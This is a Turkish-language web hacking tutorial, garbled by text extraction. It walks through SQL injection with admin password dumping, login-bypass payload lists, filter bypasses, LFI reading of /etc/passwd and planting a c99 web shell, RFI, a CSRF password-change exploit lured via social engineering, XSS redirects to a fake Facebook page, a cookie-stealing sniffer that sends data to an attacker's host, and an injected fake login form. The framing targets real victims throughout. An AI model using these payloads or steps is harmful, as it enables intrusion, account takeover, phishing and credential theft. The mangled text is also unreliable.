Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım
wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt
Bu sefer ekrana alert yansıdığını goumlreceksiniz
b-) Bypass JavaScript Code
Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım
wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim
Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız
c-)Normal Bypass
Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız
Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına
7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -
Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site
hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir
kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz
Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde
Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin
Yazacağımız kod şu şekildedir
wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt
Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık
olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=
wwwfakefacebooksayfamcom ltscriptgt
adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır
Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır
8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)
Sniffer Nedir
Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle
değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini
ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır
İşleme başlamadan Sniffer dosyalarını vereyim sizlere
Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
